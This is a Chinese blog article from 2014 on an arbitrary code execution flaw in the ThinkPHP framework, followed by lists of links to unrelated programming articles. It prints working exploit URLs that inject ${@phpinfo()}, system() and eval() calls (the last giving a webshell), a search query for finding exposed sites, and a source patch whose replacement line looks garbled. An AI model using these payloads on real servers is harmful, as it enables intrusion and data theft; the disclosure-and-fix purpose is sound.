ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
针对初学PHP者的疑难问答(2)
Oct 09 PHP
php include加载文件两种方式效率比较
Aug 08 PHP
PHP校验ISBN码的函数代码
Jan 17 PHP
PHP程序员基本要求和必备技能
May 09 PHP
smarty中post用法实例
Nov 28 PHP
C# WinForm中实现快捷键自定义设置实例
Jan 23 PHP
php采集中国代理服务器网的方法
Jun 16 PHP
PHP中strcmp()和strcasecmp()函数字符串比较用法分析
Jan 07 PHP
PHP中的Trait 特性及作用
Apr 03 PHP
PC端微信扫码支付成功之后自动跳转php版代码
Jul 07 PHP
thinkphp5修改view到根目录实例方法
Jul 02 PHP
laravel-admin的多级联动方法
Sep 30 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP分页显示制作详细讲解
2006/12/05 PHP
PHP中创建和编辑Excel表格的方法
2018/09/13 PHP
详解json在php中的应用
2018/09/30 PHP
jQuery News Ticker 基于jQuery的即时新闻行情展示插件
2011/11/05 Javascript
jQuery动态添加 input type=file的实现代码
2012/06/14 Javascript
js获取checkbox复选框选中的选项实例
2014/08/24 Javascript
jquery特效 点击展示与隐藏全文
2015/12/09 Javascript
jQuery Validate初步体验(二)
2015/12/12 Javascript
Javascript字符串常用方法详解
2016/07/21 Javascript
node+express+ejs使用模版引擎做的一个示例demo
2017/09/18 Javascript
jQuery中过滤器的基本用法示例
2017/10/11 jQuery
vue中实现滚动加载更多的示例
2017/11/08 Javascript
vuejs实现折叠面板展开收缩动画效果
2018/09/06 Javascript
详解如何在Angular优雅编写HTTP请求
2018/12/05 Javascript
vue+elementUI实现表单和图片上传及验证功能示例
2019/05/14 Javascript
解决vue项目打包上服务器显示404错误,本地没出错的问题
2020/11/03 Javascript
python re正则匹配网页中图片url地址的方法
2018/12/20 Python
Python&&GDAL实现NDVI的计算方式
2020/01/09 Python
Python下利用BeautifulSoup解析HTML的实现
2020/01/17 Python
python常用运维脚本实例小结
2020/02/14 Python
Python3连接Mysql8.0遇到的问题及处理步骤
2020/02/17 Python
python3.6使用SMTP协议发送邮件
2020/05/20 Python
经验丰富程序员才知道的8种高级Python技巧
2020/07/27 Python
python Gabor滤波器讲解
2020/10/26 Python
python中常用的数据结构介绍
2021/01/12 Python
利用纯html5绘制出来的一款非常漂亮的时钟
2015/01/04 HTML / CSS
鞋子女王塔玛拉·梅隆同名奢侈品牌:Tamara Mellon
2017/11/22 全球购物
在线学习西班牙语、法语或其他语言:Babbel.com
2018/02/07 全球购物
美国正宗设计师眼镜在线零售商:EYEZZ
2019/03/23 全球购物
求职简历的自我评价怎样写好
2013/10/07 职场文书
园林技术个人的自我评价
2014/02/15 职场文书
高三学习决心书
2014/03/11 职场文书
入股协议书范本
2014/04/14 职场文书
生日宴会策划方案
2014/06/03 职场文书
2014年物业管理工作总结
2014/11/21 职场文书
【HBU】数据库第四周 单表查询
2021/04/05 SQL Server